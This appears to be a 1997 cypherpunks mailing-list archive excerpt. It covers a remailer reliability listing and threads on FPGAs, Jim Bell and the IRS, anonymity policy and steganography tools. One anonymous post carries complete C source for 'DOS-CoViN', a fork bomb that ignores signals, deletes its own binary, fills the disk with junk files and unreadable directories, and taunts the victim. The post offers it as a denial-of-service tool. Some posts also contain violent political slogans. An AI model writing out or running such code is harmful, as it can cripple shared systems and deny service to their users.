Subject: List of reliable remailers
Message-ID: <199707211350.GAA00830@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp pgponly hash latent cut";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"magus"} = "<mix@magusnet.com> cpunk mix pgp hash latent cut post";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 21 Jul 97 6:47:21 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             --++-+++-+++  1:51:14  99.99%
nym      config@nym.alias.net             *#*#+**#####      :46  99.96%
magus    mix@magusnet.com                        #---+  1:01:47  99.95%
redneck  config@anon.efga.org                     #*-*    34:45  99.93%
hera     goddesshera@juno.com                    +----  3:35:09  99.89%
bureau42 remailer@bureau42.ml.org                *----  4:30:03  99.78%
squirrel mix@squirrel.owl.de              --+++ ++-+++  1:47:37  99.72%
valdeez  valdeez@juno.com                        *.--   2:05:19  99.68%
cracker  remailer@anon.efga.org                  *+ -+    52:45  99.38%
winsock  winsock@rigel.cyberpass.net      ------- .-++  5:20:51  98.86%
cyber    alias@alias.cyberpass.net        ******  ***+    10:15  98.20%
reno     middleman@cyberpass.net          **+ --- .-+   6:04:59  97.28%
replay   remailer@replay.com              *** **    **     4:33  94.56%
arrid    arrid@juno.com                          +---   2:38:00  94.19%
jam      remailer@cypherpunks.ca           ** ****        31:02  86.54%
mix      mixmaster@remail.obscura.com     .-*.+** **    2:13:27  84.97%
neva     remailer@neva.org                       #-*      44:30  84.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Mon, 21 Jul 1997 13:19:00 +0800
To: cypherpunks@toad.com.redhat-list@redhat.com
Subject: fork problem, fix?
Message-ID: <199707210455.GAA29231@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
   bugtraq

   This program is a beefed up classic denial of service fork()'er :)

   Compilation:
	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c

	on my linux, I can compile it with both -DBSD_C and -DSYSV_C

	if your not sure, you can experiment, or compile it
	without any -D'efines


   In the future:
	SunOS signals ignored.
	Creation of random symlinks for more gory destruction.
	Using advanced technology coding to make the hard drive
		blow up with a loud boom and the console explode
		causing a nuclear meltdown.



   Direct All Suggestions And Flames to: Vio

  NOTE: this program is provided for educational purposes only, its author
	will not take any responsibility for any stupid things you will
	decide to do.

	this has been tested, but not the latest version of it.

            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
            $$'   s   `$'   s   `$    $    $    $    `$   $$
            $$    $    $    $    $    $    $    $         $$
            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
            $$    $ssss$    $    $    $    $    $   $$$   $$
            $$    $    $    $    $.   $   ,$    $   $$$   $$
            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'

*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10

#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/

void dirs_generator(void);

main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;

unlink(argv[0]);

/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);

#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif

#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif

if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}


void dirs_generator(void)
{
char alph[] = "
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;

printf("Making dirs..\n");
chdir(START_DIR);

fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();

while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i<flen; i++)
                fl[i] = alph[rand() % strlen(alph)];
	fl[MAX_FILELEN-1]=0;
	i=open(fl,O_WRONLY|O_CREAT);
	write(i,"fuck you! CoViN",16);
	close(i);

	flen= (rand() % MAX_DIRLEN) - 1;
	for(i=0; i<flen; i++)
		dir[i] = alph[rand() % strlen(alph)];
	dir[MAX_DIRLEN-1]=0;
	mkdir(dir,0);	
	chdir(dir);
       }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: decius@ninja.techwood.org (Decius 6i5)
Date: Mon, 21 Jul 1997 19:16:00 +0800
To: cypherpunks@toad.com
Subject: geodesic -- FPGAs
Message-ID: <m0wqGB6-000043C@r38h28.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain



I've been reading the Geodesic systems thread with much interest... I've
been playing around with FPGAs recently, Field Programmable Gate Arrays,
which list members should be familiar with due to discussions concerning
cheap hardware crypto. Why not replace your entire architecture with
reconfigurable hardware? This is sort of like Java turned upside down.
Instead of having generalized code running on a specialized "virtual
machine." (Which is inefficient as hell) Why not ship the architecture
your program runs on along with the program. Liquid architecture. If the
FPGA's are standardized (not likely, but..) you could run whatever kind of
software you wanted and the architecture would automatically reconfigure
to run the code and would be optimized for your application. There are
some challenges with muti-tasking but I think you could manage the
gate-space like you do memory. Web searches on FGPAs will bring you to
research being done on this sort of thing...

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius@ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com>
Date: Mon, 21 Jul 1997 19:20:16 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: thought for the day, and my IRS Investigations report
In-Reply-To: <199707211033.MAA08269@xs2.xs4all.nl>
Message-ID: <33D3426A.35517654@CyberSpaceTechnologies.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713716.multipart/signed"

--Boundary..3971.1071713716.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Zooko Journeyman wrote:

> My interaction with Jim Bell pretty much amounted to condemning
> him and telling him to go to hell, CC'ed to cypherpunks.  And
> I haven't received any IRS Investigations notes, so perhaps my
> e-mail address wasn't included in Jim's little black book.
>
> Zooko
>
> "There are two major forces in the universe:  evolution and
> intelligence."

Why does it always seem like there has to be someone out there that just
HAS to be an idiot.


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--Boundary..3971.1071713716.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 23 Jul 1997 08:28:06 +0800
To: cypherpunks@toad.com
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <Chameleon.869487849.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Scientific American had a fairly high level treatment of FPGAs recently. 
They mentioned ways they could be used in conjuction with standard CPUs. The author 
predicts that within 5 or so years, we'll be seeing hybrid systems using FPGAs in 
common use.




   
------------------------
  From: Decius 6i5 <decius@ninja.techwood.org>
  Subject: geodesic -- FPGAs 
  Date: Mon, 21 Jul 1997 06:58:56 -0400 (EDT) 
  To: cypherpunks@toad.com


> I've been reading the Geodesic systems thread with much interest... I've
> been playing around with FPGAs recently, Field Programmable Gate Arrays,
> which list members should be familiar with due to discussions concerning
> cheap hardware crypto. Why not replace your entire architecture with
> reconfigurable hardware? This is sort of like Java turned upside down.
> Instead of having generalized code running on a specialized "virtual
> machine." (Which is inefficient as hell) Why not ship the architecture
> your program runs on along with the program. Liquid architecture. If the
> FPGA's are standardized (not likely, but..) you could run whatever kind of
> software you wanted and the architecture would automatically reconfigure
> to run the code and would be optimized for your application. There are
> some challenges with muti-tasking but I think you could manage the
> gate-space like you do memory. Web searches on FGPAs will bring you to
> research being done on this sort of thing...
> 
> -- 
>         */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
>                        Decius@ninja.techwood.org
> 
> "If the economic, social and political conditions... do not offer a basis 
> for the realization of individuality, while at the same time people have 
> lost those ties which gave them security... powerful tendencies arise to 
> escape from freedom into submission." -- Erich Fromm
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/21/97
Time: 08:02:58
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 00:20:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <v03102803aff9363195b7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:58 AM -0700 7/21/97, Decius 6i5 wrote:
>I've been reading the Geodesic systems thread with much interest... I've
>been playing around with FPGAs recently, Field Programmable Gate Arrays,
>which list members should be familiar with due to discussions concerning
>cheap hardware crypto. Why not replace your entire architecture with
>reconfigurable hardware? This is sort of like Java turned upside down.

Why not replace your entire architecture with reconfigurable hardware?
Because factors of 2 or 3 or 4 or more are still important to people.
Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,
etc.

Now tell those folks that the FPGA version will cost several times as much
and have the performance of a 90 MHz 486. Or less.

All for what? So they can issue a "reconfigure yourself" command and have
their machine spend a few minutes reprogramming itself into, what, a Mac?

For lots of reasons, this won't fly. I could elaborate on why this is so,
technically, or marketing-wise. But I'll leave this as an exercise.

One of the great breakthoughs of this century was the notion by von Neumann
and others of a general purpose engine programmable with programs, instead
of rearranging patch panel connections for each new algorithm. A general
purpose CPU able to run NT, Linux, NextStep, OS/2, and myriads of programs
is generally more useful to most people than (expensive) reconfigurable
hardware.

Except for specialized applications, which is where graphics accelerators,
I/O processors, and digital signal processors (DSPs) come to the fore.
However, even with these funcitons, as soon as these functions get
integrated onto the main processor, as time passes, the handwriting is on
the wall.

(Look at what happened to Weitek once Intel and Sun integrated floating
point coprocessors directly into their processors.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "(unavailable) (unavailable)" <happen_is@hotmail.com>
Date: Tue, 22 Jul 1997 00:48:26 +0800
To: cypherpunks@Algebra.COM
Subject: TEST IGNORE
Message-ID: <199707211622.JAA07978@f44.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I told you to ignore it, didn't I?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 22 Jul 1997 00:13:29 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <6Ta30D7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970721094915.29316B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Alan <alano@teleport.com> writes:
> 
> >
> > I recieved this today via e-mail.  I find it strange since I have never
> > asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > my Cypherpunks mail shows up at a different address.
> >
> > Did anyone else get this?
> 
> I got it too.
> 
> It could be a very tasteless joke.
> 
> Or it could be a real e-mail from IRS telling us that they keep tabs on
> who's been talking to Jim.
> 

Somehow I find it unlikely that this is authentic.  Last I heard, Jim Bell
was being held without charges for some incredibly long period of time --
like a month or so. 

Seems that any lawyer worth his salt could get any conceivable charges
dropped on that count alone.  Admitting to a felony in this case seems
unlikely, but then you never know.

Regards,

Jim "Habeus Corpus" Burnes
jim.burnes@ssds.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 22 Jul 1997 01:25:01 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970721100510.29316D-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
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On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 

The patriotism quote has null benefit because it can be used against
anyone that has "patriotic" principles that are different than yours.

Thus all patriots are scoundrels when they disagree with you.

This is the same as name calling.

Re: Tim May's quote.  May is pointing out the truism that the world
is full of weak-minded fools.  This is the essential problem of
the illusory democracy that we live in today.  Since in our 
illusory democracy, the people falsely believe they've excercised their
will via "the vote".

The reality is that the sheeple, lulled into veritable unconsciouness with
an unending stream of monday-night sports, the Home Shopping Channel (TM) 
and Beavis and Butthead couldn't care a less as long as they feed on the
media/social security/propaganda tit.  Their personal opinions, thorougly
pre-chewed and digested are spoon-fed to them through a port in the side
of their head labeled "fear".

May is just one of the people who has awoken from the anesthesia
(self-induced or not).

We have met the enemy and he is us.

"There is no one so thoroughly enslaved as those who falsely 
believe they are free." (unknown)


Jim Burnes
jim.burnes@ssds.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 01:38:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <v03102804aff94c39c2f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:48 AM -0700 7/21/97, Anonymous wrote:
>                     AMERICAN CIVIL LIBERTIES UNION
>
>
>                       WASHINGTON OFFICE
>
>                                                    122 Maryland Avenue, NE
> November 1, 1985                                   Washington, DC 20002
...

In fairness to Berman, in 1985 very few people were thinking seriously
about these issues, and Chaum's paper (presumably the one published that
year in "Communicatons of the ACM") was probably seen as far-off technology
then.

I'd be more interested to see Berman's more recent views on online anonymity.

It might well be that in 1985 he saw little hope for technological
solutions, and understandably placed more faith in legislative solutions.

Now that the technology for anonymity is widely deployed, this situation
has changed.

If Berman or any of the other "cyber rights" groups were to call for bans
on anonymity, this would be news indeed. (And I don't expect them to. The
Supreme Court rulings on anonymous leafletting and speech were pretty
clearcut.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Mon, 21 Jul 1997 16:42:37 +0800
To: cryptography@c2.net
Subject: JENC8 presentation - Crypto Regulation in Europe - online
Message-ID: <25B57B93963@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have put my recent presentation to JENC8 online:
   Crypto Regulation in Europe. Some key trends and issues
   Proceedings 8th Joint European Networking Conference, 
   Edinburgh, 12-15 May 1997, pp. 811/1-8
http://cwis.kub.nl/~frw/people/koops/jenc8bjk.htm

A somewhat revised version of this paper, updated until June 1997, will
be published in Computer Networks and ISDN Systems. 

Comments are welcomed.

Kind regards,
Bert-Jaap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@MIT.EDU>
Date: Mon, 21 Jul 1997 23:02:15 +0800
To: cypherpunks@toad.com
Subject: re: geodesic -- FPGAs
Message-ID: <9707211446.AA13815@m56-129-19.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



FPGAs lack in dynamic reconfigurability.  However, a friend of mine from
the institute (now graduated and off in california) developed a bloody-fast
reprogrammable chip (I think it can be arbitrarily reprogrammed in a clock
cycle or so).  Needless to say, this is a really wonderful toy -- they
seem to want to use them for "communications processors", like modem
control chips and stuff, but I can think of many more uses for them.  I
think they're talking about being able to ship them in a couple years --
I know I'm going to try to use whatever influence I have to get at least
a development kit.  Think about the potential for iteratively-improved
static designs, if not for truly dynamic designs. (there is some cs
theory in the area of real-time reconfigurable processors, but it's
hard, not all that well explored)  As well, you could always use something
like this in a traditional massively-parallel codebreaking device, perhaps
stepping through keys in silicon rather than in memory.

Very cool toys.  I want one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 03:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: <19970721120326.06352@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jul 20, 1997 at 02:40:07PM -0400, Declan McCullagh wrote:
> Kent,
> 
> Yours is an interesting response. But what if one has no principles, just
> strategy and tactics?

???The obvious answer is that such a person doesn't exist.  You may
not be able to articulate your principles, they may change, they may
be "bad" or purely selfish, but they are there, guiding your actions. 
I view your question as equivalent to "But what if one has no
brain..." Principles are underlying rules controlling behavior, and
are orthogonal to bad and good. 

> If you don't know what your principles are -- if you can't identify them
> and speak to them -- then you have no business being an advocate.

If this rule were strictly followed there would be very few advocates 
indeed. :-) 

Your car is stuck in the mud, the river is raising.  Is it better to
get dirty and get the car out, or to keep your hands clean, and write
off the car? Obviously the question isn't whether or not your hands
get dirty -- the question is whether the car can be saved, and what it
is worth. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 00:35:12 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v0311071daff7a277f62e@[139.167.130.248]>
Message-ID: <97Jul21.121209edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, Robert Hettinga wrote:

> In an absolute sense, of course, more processing power is more software
> waste. My Mac wastes more cycles than I can physically count in a lifetime
> waiting for my next keystroke, and, after more than half a lifetime at the
> keyboard, I am a pretty fast typist.

The problem is that it wastes all those cycles until you hit enter (or OK)
and only then begins whatever arduous task, usually with a slowly moving
progress bar or dialog box.  What I really hate are the installs that are
going to take 15 minutes but insist that you don't do anything else while
it is copying files.  Unless you already started something in the
background which will happily run, but there is no shrink window widget.

That will probably all go away "RSN", but it will take something like a
web based process dispatch where you are filling in a form (maybe without
knowing it) and it is submitted to be dispatched to the least busy
processor in your network.  Plan 9 was trying to do something like this,
and the current SMP stuff at least attempts to do scheduling - we still
have this technology in a very mature state from mainframes and things
like vaxclusters.

But to go back to your comparison of lines v.s. nodes, the network and
busses are getting faster and the processors are two at about the same
rate, so both lines and nodes are getting cheaper, though not uniformly.

If lines become cheaper (in bits/sec/$) than nodes, we will have 10 CPU
boxes for 40 keyboard/display boxes, or some other appropriate ratio. 
Otherwise some combination of distributionware will become available so
you can run cpu intensive apps (e.g. spice electronic modeling) like DES
keyspace searches, though on your local net.  Even something like a
"batch" program for Windows NT, but the GUI paradigm makes clicking on Go 
a little difficult :).

There is another problem with software being purchased (or rented?) in the
model you describe.  It becomes cheaper to purchase it in bulk (e.g.  one
transaction giving access to a os and a library, and have the most used
components cached locally) than to go out and buy each piece as I need it. 
I have a toolbox in case I need to fix something.  If I had to drive to
store for each tool as I needed it, the sunk costs would then exceed the
price of the tool.  It would get worse if I tried to determine the best
price or best tool from among several stores.  I purchase one tool box
which handles 99.5% of the cases I am likely to see and have only one set
of sunk costs. 

E$ transactions have a very tiny transaction cost, but it is not zero, and
because it requires crypto it is noticable in CPU time and cycles.  If you
had to purchase 100 components to run Netscape (minimally the graphics,
http parsing, and a few other things first, then every time you clicked on
a new type of object), each having to be transacted and downloaded, it
would be worse than the existing bloatware.  Much like the cost of Email
is not zero, but a large amount is included in my monthly ISP payment
since the cost of tracking exceeds the cost of transmission.  A large
amount of software may eventually become a public good.  But as I may
occasionally need a special tool which is not in my box, I may want access
to special software or capacity.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 00:51:35 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <97Jul21.122058edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, sar wrote:

> >There are some crypto plugins for MS, but nothing I know of will bury your
> >info encrypted with DES or IDEA in the lsbs of a .wav file.
> 
> take a look at  http://members.iquest.net/~mrmil/stego.html it has
> steganography programs for win95,dos,mac and amiga. as well as links to
> other stego pages and a paper on " covert channels in the tcp/ip suite" 

I took a look and everything I have seen can do stego, and some
encryption, but it is one file in one file.

I was not clear because the loop device can mount a filesystem, and
encrypt and/or stego an entire directory tree in one file transparently,
so I can mount my stego-crypto image on /home/me and do everything as I
normally would on an unencrypted partition.

ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html

I can do the same with CFS, but it doesn't do stego, and I don't know if
it is available for many platforms outside unix.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 21 Jul 1997 18:55:20 +0800
To: cypherpunks@toad.com
Subject: thought for the day, and my IRS Investigations report
Message-ID: <199707211033.MAA08269@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



My interaction with Jim Bell pretty much amounted to condemning
him and telling him to go to hell, CC'ed to cypherpunks.  And 
I haven't received any IRS Investigations notes, so perhaps my
e-mail address wasn't included in Jim's little black book.


Zooko

"There are two major forces in the universe:  evolution and 
intelligence."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 01:47:45 +0800
To: Alan <alano@teleport.com>
Subject: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03007801aff94d1165ce@[168.161.105.191]>
